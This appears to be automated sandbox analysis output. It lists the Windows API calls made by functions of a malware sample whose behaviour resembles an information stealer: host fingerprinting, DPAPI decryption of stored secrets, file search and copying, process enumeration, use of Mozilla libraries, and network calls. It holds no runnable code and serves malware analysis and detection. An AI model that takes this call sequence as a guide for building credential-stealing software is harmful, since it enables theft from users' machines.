Part of subcall function 004141C0: HeapAlloc.KERNEL32(00000000), ref: 004142A7

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00414300: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414314
Part of subcall function 00414300: HeapAlloc.KERNEL32(00000000), ref: 0041431B
Part of subcall function 00414300: RegOpenKeyExA.KERNEL32(80000002,042ABE10,00000000,00020119,00000000), ref: 0041433B
Part of subcall function 00414300: RegQueryValueExA.KERNEL32(00000000,042C6418,00000000,00000000,000000FF,000000FF), ref: 0041435C
Part of subcall function 00414300: RegCloseKey.ADVAPI32(00000000), ref: 00414366

Part of subcall function 00414380: GetCurrentProcess.KERNEL32(00000000,?,?,0040FF99,00000000,?,042C6A58,00000000,?,0041D74C,00000000,?,00000000,00000000,?,042C35C8), ref: 0041438F
Part of subcall function 00414380: IsWow64Process.KERNEL32(00000000,?,?,0040FF99,00000000,?,042C6A58,00000000,?,0041D74C,00000000,?,00000000,00000000,?,042C35C8), ref: 00414396

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,042C37E8,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00414450: GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041445D
Part of subcall function 00414450: HeapAlloc.KERNEL32(00000000), ref: 00414464
Part of subcall function 00414450: GetLocalTime.KERNEL32(?), ref: 00414471
Part of subcall function 00414450: wsprintfA.USER32 ref: 004144A0

Part of subcall function 004144B0: GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,042C6430,00000000,?,0041D758,00000000,?,00000000,00000000,?,042C6A78,00000000), ref: 004144C0
Part of subcall function 004144B0: HeapAlloc.KERNEL32(00000000), ref: 004144C7
Part of subcall function 004144B0: GetTimeZoneInformation.KERNEL32(?), ref: 004144DA

Part of subcall function 00414530: GetUserDefaultLocaleName.KERNEL32(00000000,00000055,00000000,00000000,?,042C6430,00000000,?,0041D758,00000000,?,00000000,00000000,?,042C6A78,00000000), ref: 00414542

Part of subcall function 00414570: GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
Part of subcall function 00414570: LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
Part of subcall function 00414570: GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
Part of subcall function 00414570: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
Part of subcall function 00414570: LocalFree.KERNEL32(00000000), ref: 004146DF

Part of subcall function 00414710: GetSystemPowerStatus.KERNEL32(00000000), ref: 0041471A

GetCurrentProcessId.KERNEL32(00000000,?,042C6AF8,00000000,?,0041D76C,00000000,?,00000000,00000000,?,042C6028,00000000,?,0041D768,00000000), ref: 0041037E

Part of subcall function 00415B70: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00415B84
Part of subcall function 00415B70: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00415BA5
Part of subcall function 00415B70: CloseHandle.KERNEL32(00000000), ref: 00415BAF

Part of subcall function 00414740: GetProcessHeap.KERNEL32(00000000,00000104,00000000), ref: 00414754
Part of subcall function 00414740: HeapAlloc.KERNEL32(00000000), ref: 0041475B
Part of subcall function 00414740: RegOpenKeyExA.KERNEL32(80000002,042ABCF8,00000000,00020119,00000000), ref: 0041477B
Part of subcall function 00414740: RegQueryValueExA.KERNEL32(00000000,042C6A38,00000000,00000000,000000FF,000000FF), ref: 0041479C
Part of subcall function 00414740: RegCloseKey.ADVAPI32(00000000), ref: 004147A6

Part of subcall function 00414800: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00414846
Part of subcall function 00414800: GetLastError.KERNEL32 ref: 00414855

Part of subcall function 004147C0: GetSystemInfo.KERNEL32(00000000), ref: 004147CD
Part of subcall function 004147C0: wsprintfA.USER32 ref: 004147E3

Part of subcall function 00414960: GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,042C5EF0,00000000,?,0041D774,00000000,?,00000000,00000000,?,042C5ED8), ref: 0041496D
Part of subcall function 00414960: HeapAlloc.KERNEL32(00000000), ref: 00414974
Part of subcall function 00414960: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149AF
Part of subcall function 00414960: __aulldiv.LIBCMT ref: 004149BD
Part of subcall function 00414960: wsprintfA.USER32 ref: 004149E9

Part of subcall function 00414ED0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F1C
Part of subcall function 00414ED0: HeapAlloc.KERNEL32(00000000), ref: 00414F23
Part of subcall function 00414ED0: wsprintfA.USER32 ref: 00414F3D

Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,042A6388,00000000,00020019,00000000,0041D289), ref: 00414B41

Part of subcall function 00414AE0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
Part of subcall function 00414AE0: wsprintfA.USER32 ref: 00414BF6
Part of subcall function 00414AE0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C29
Part of subcall function 00414AE0: RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00414DE0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Part of subcall function 00414DE0: Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Part of subcall function 00414DE0: Process32Next.KERNEL32(00000000,00000128), ref: 00414E30
Part of subcall function 00414DE0: FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E9E

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041095B

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,042C35F8), ref: 00404ED9

Strings

E.A, xrefs: 00410981, 004109AC, 00410984

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$Process$Alloc$CloseOpen$wsprintf$Namelstrcpy$InformationLocallstrlen$CurrentInfoKeyboardLayoutListLocaleProcess32QueryStatusSystemTimeUserValue__aulldivlstrcat$ChangeComputerCreateDefaultDirectoryEnumErrorFileFindFirstFreeGlobalHandleInternetLastLogicalMemoryModuleNextNotificationPowerProcessorSnapshotToolhelp32VolumeWindowsWow64Zone
String ID: E.A
API String ID: 1035121393-2211245587
Opcode ID: 8b033d71a75b0a659c9550832104cb48f202312a58c6f872a4bc729aaadf1e74
Instruction ID: c29c4d19e1a1d8256a8b8cfc17993bd3f91cdea4a247a897ffed86f061f16859
Opcode Fuzzy Hash: 8b033d71a75b0a659c9550832104cb48f202312a58c6f872a4bc729aaadf1e74
Instruction Fuzzy Hash: 9372B076D10118AACB15FB91EC91EDEB73DAF14308F51439FB01662491EF346B89CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004096C0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,042C61F0), ref: 0040971B

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

memcmp.MSVCRT ref: 00409774

Part of subcall function 00409540: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
Part of subcall function 00409540: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
Part of subcall function 00409540: LocalFree.KERNEL32(?), ref: 004095AF

Strings

, xrefs: 004097A3
DPAPI, xrefs: 0040976B

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotectlstrcpymemcmp
String ID: $DPAPI
API String ID: 2647593125-1819349886
Opcode ID: 20fedc1595b1d14bfbc67299ff3f27808ad2d0836df1b2d3d14e3d80815450fd
Instruction ID: 25d6f3248392bfa9bca68fd769027b68fff5740b7e0b7820d89104a1b18a6e16
Opcode Fuzzy Hash: 20fedc1595b1d14bfbc67299ff3f27808ad2d0836df1b2d3d14e3d80815450fd
Instruction Fuzzy Hash: 493141B6D10108EBCF04DF94DC45AEFB7B9AF48704F14452DE905B3292E7389A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414DE0 Relevance: 6.1, APIs: 4, Instructions: 60processCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00414E07
Process32First.KERNEL32(00000000,00000128), ref: 00414E1B
Process32Next.KERNEL32(00000000,00000128), ref: 00414E30

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindCloseChangeNotification.KERNEL32(00000000), ref: 00414E9E

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 663210355256c1a79006bc930096bf3c730480ad8148fdf9ee136a6da0e86fe2
Instruction ID: b51d58226d22fc07b4aaea4bdcaba1b12d12dab42e387443cd86e66b2ce9f1c4
Opcode Fuzzy Hash: 663210355256c1a79006bc930096bf3c730480ad8148fdf9ee136a6da0e86fe2
Instruction Fuzzy Hash: ED211D759002189BCB24EB61DC95FDEB779AF54304F1041DAA50A66190DF38AFC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004159E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00411879,80000000,00000003,00000000,00000003,00000080,00000000,?,00411879,?), ref: 004159FC
GetFileSizeEx.KERNEL32(000000FF,00411879), ref: 00415A19
CloseHandle.KERNEL32(000000FF), ref: 00415A27

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction ID: adbcd47bb22ca6d6b42933acd4cabc8e10c5a14c322029dfd4b487fe3fd33794
Opcode Fuzzy Hash: f3a5877fc348a9a64368c001e27037213673241a1fda354ede690d4ee948c5a4
Instruction Fuzzy Hash: C9F03139F44604FBDB20DBF0DC85BDE7779BF44710F118255B951A7280DA7496428B44

Uniqueness

Uniqueness Score: -1.00%

Function 004137B3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,042C3828,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,042C3828,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction ID: 00ad45554361a1bf9ffb836df5d455c5d00fe00f471bf70531fad30136aebd8c
Opcode Fuzzy Hash: b72d18ed1bdfc85c434ab68d1be83dc3fedaf905ff30e20f0e2c3bf58e55dee1
Instruction Fuzzy Hash: 5FF054B0944206AAE720AFA1DD05BFE7675BB08B46F10851AF612951C0DBB856818A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406730 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

Pi@, xrefs: 00406884, 004067C2, 0040679E, 0040684E, 0040689F

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID:
String ID: Pi@
API String ID: 0-1360946908
Opcode ID: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction ID: 3e1b1374d11ee30af11b8018be346ecc1401931fa3badc01db0dac5c56ce0c6a
Opcode Fuzzy Hash: 8cfa37973c56b3597612bf0eabde1d0c10c792fef38bbd1cab651f123bbbde38
Instruction Fuzzy Hash: 756105B5D00208DBDB14DF94D984BEEB7B0AB48304F1185AAE80677380D739AEA5DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404470 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

Part of subcall function 00414FF0: malloc.MSVCRT ref: 00414FF8

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Strings

<, xrefs: 00404489

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlenmalloc
String ID: <
API String ID: 3848002758-4251816714
Opcode ID: 85c67f99e022b53bf17435a6d7f42a962d884bf02f2d202c56b95b99adfd8f66
Instruction ID: 4ed07355fbd84ea2b0e25782c0c6f45789bb77a73037a8222357df496ca5bcbd
Opcode Fuzzy Hash: 85c67f99e022b53bf17435a6d7f42a962d884bf02f2d202c56b95b99adfd8f66
Instruction Fuzzy Hash: 52216DB1D00208ABDF10EFA5E845BDD7B74AB44324F008229FA25B72C0EB346A46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF80 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,042C36F8), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,042C3718), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,042C3638), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 3a96b665b3cbcbf55da3d0258d3f7f573c41df7ba93c0507f9044406bed029a1
Instruction ID: 4355cab003f180362ea4467312be264c8b2230b95154913c46dc9b5fce20c885
Opcode Fuzzy Hash: 3a96b665b3cbcbf55da3d0258d3f7f573c41df7ba93c0507f9044406bed029a1
Instruction Fuzzy Hash: 8D719871B002099BCF08FF75D9929EEB77AAF94304B10852EF4099B285EA34DE45CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF9F Relevance: 4.7, APIs: 3, Instructions: 177COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,042C36F8), ref: 0040EFCE
StrCmpCA.SHLWAPI(00000000,042C3718), ref: 0040F06F
StrCmpCA.SHLWAPI(00000000,042C3638), ref: 0040F17E

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 31357a372ffa8051568a26c3519af1ef57e737c077d660d25448396aefe02b83
Instruction ID: f0c51ec5e8e6f52f2f367cc82315d09f99f950b48122d5325302ee48485a66a2
Opcode Fuzzy Hash: 31357a372ffa8051568a26c3519af1ef57e737c077d660d25448396aefe02b83
Instruction Fuzzy Hash: 03618A71B002099FCF08EF75D9929EEB77AAF94304B10852EF4099B295DA34EE45CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 004127E0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 0041281A
lstrcat.KERNEL32(?,042C6B58), ref: 00412838

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNELBASE(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041260A
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D4B2), ref: 0041261C
Part of subcall function 00412570: wsprintfA.USER32 ref: 00412639
Part of subcall function 00412570: PathMatchSpecA.SHLWAPI(?,?), ref: 0041266F
Part of subcall function 00412570: lstrcat.KERNEL32(?,042C3658), ref: 0041269B
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D880), ref: 004126AD
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126BE
Part of subcall function 00412570: lstrcat.KERNEL32(?,0041D884), ref: 004126D0
Part of subcall function 00412570: lstrcat.KERNEL32(?,?), ref: 004126E4
Part of subcall function 00412570: CopyFileA.KERNEL32(?,?,00000001), ref: 004126FA
Part of subcall function 00412570: DeleteFileA.KERNEL32(?), ref: 00412779

Part of subcall function 00412570: wsprintfA.USER32 ref: 0041265B

Strings

00A, xrefs: 0041285C, 0041288B, 004128BB, 004128EA, 0041291A, 00412949, 0041296B, 0041285F, 0041288E, 004128BE, 004128ED, 0041291D, 0041294C

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: 00A
API String ID: 2104210347-95910775
Opcode ID: 0059c6a1cdbce71a941e6102a03021f307d23a853d510470ca8830f04c47ea2b
Instruction ID: 9a839e9be304faf39bc4facc08b08f26c4420ed68fa3aa933a56f5c5bfc0aac5
Opcode Fuzzy Hash: 0059c6a1cdbce71a941e6102a03021f307d23a853d510470ca8830f04c47ea2b
Instruction Fuzzy Hash: 6441ABB7A001047BCB24FBE0DC92EEA377E9B94705F00424DB55987191ED74A7D48BD9

Uniqueness

Uniqueness Score: -1.00%

Function 6CCA3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CCA3095

Part of subcall function 6CCA35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CD2F688,00001000), ref: 6CCA35D5
Part of subcall function 6CCA35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CCA35E0
Part of subcall function 6CCA35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CCA35FD
Part of subcall function 6CCA35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CCA363F
Part of subcall function 6CCA35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CCA369F
Part of subcall function 6CCA35A0: __aulldiv.LIBCMT ref: 6CCA36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CCA309F

Part of subcall function 6CCC5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CCC56EE,?,00000001), ref: 6CCC5B85
Part of subcall function 6CCC5B50: EnterCriticalSection.KERNEL32(6CD2F688,?,?,?,6CCC56EE,?,00000001), ref: 6CCC5B90
Part of subcall function 6CCC5B50: LeaveCriticalSection.KERNEL32(6CD2F688,?,?,?,6CCC56EE,?,00000001), ref: 6CCC5BD8
Part of subcall function 6CCC5B50: GetTickCount64.KERNEL32 ref: 6CCC5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CCA30BE

Part of subcall function 6CCA30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CCA3127
Part of subcall function 6CCA30F0: __aulldiv.LIBCMT ref: 6CCA3140

Part of subcall function 6CCDAB2A: __onexit.LIBCMT ref: 6CCDAB30

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: f57e07e56aa75eb0d91193d7e6cd48a251583e267c7015add11874d4c704e567
Instruction ID: dd110f593bc673d2aec47ced04b2ace37ffe23012b4f9075a1c5c199b7131e6a
Opcode Fuzzy Hash: f57e07e56aa75eb0d91193d7e6cd48a251583e267c7015add11874d4c704e567
Instruction Fuzzy Hash: F4F07D22E2074897EB10DF748851AE6B378EF6B215F011B19EB4413521FF3061D8C3C2

Uniqueness

Uniqueness Score: -1.00%

